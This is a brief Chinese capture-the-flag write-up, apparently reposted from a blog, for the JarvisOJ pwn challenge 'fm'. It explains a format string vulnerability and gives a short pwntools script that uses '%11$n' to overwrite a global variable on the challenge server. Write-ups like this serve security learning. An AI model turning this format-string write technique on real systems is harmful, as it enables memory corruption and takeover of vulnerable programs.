JarvisOJ PWN fm wp

fm

拿到之后首先ida一下,看一下主函数,找漏洞点:

然后就发现第10行是一个很简单的格式化字符串漏洞,看一下x的内存地址:

x的值是3,所以要利用格式化字符串漏洞的任意地址读写,“x_addr%[i]$n”,%n可以将已经输出的字符个数写入到指定的参数中,这个格式化字符串会在栈上的某处,需要定位x_addr作为printf的第几个参数来确定[i]的值,由于x_addr在32位程序中刚好是4个字节,所以这个格式化字符串刚好能把相应参数变为4。
————————————————
版权声明:本文为CSDN博主「yudhui」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/github_36788573/article/details/80723670

这里附上一个有关格式化字符串漏洞的博客,助于理解:https://www.cnblogs.com/ichunqiu/p/9329387.html

找到0x41414141,为第十一个参数,然后再验证一下:

然后就可以把AAAA的位置变成x的地址,p换成n,这样参数x的值就会被写为4了,上脚本:

from pwn import *

#p = process('./fm')
p = remote('pwn2.jarvisoj.com', 9895)

payload = p32(0x0804A02C) + '%11$n'
p.sendline(payload)
p.interactive()
发布了14 篇原创文章 · 获赞 2 · 访问量 423

猜你喜欢

转载自blog.csdn.net/weixin_43876357/article/details/104081466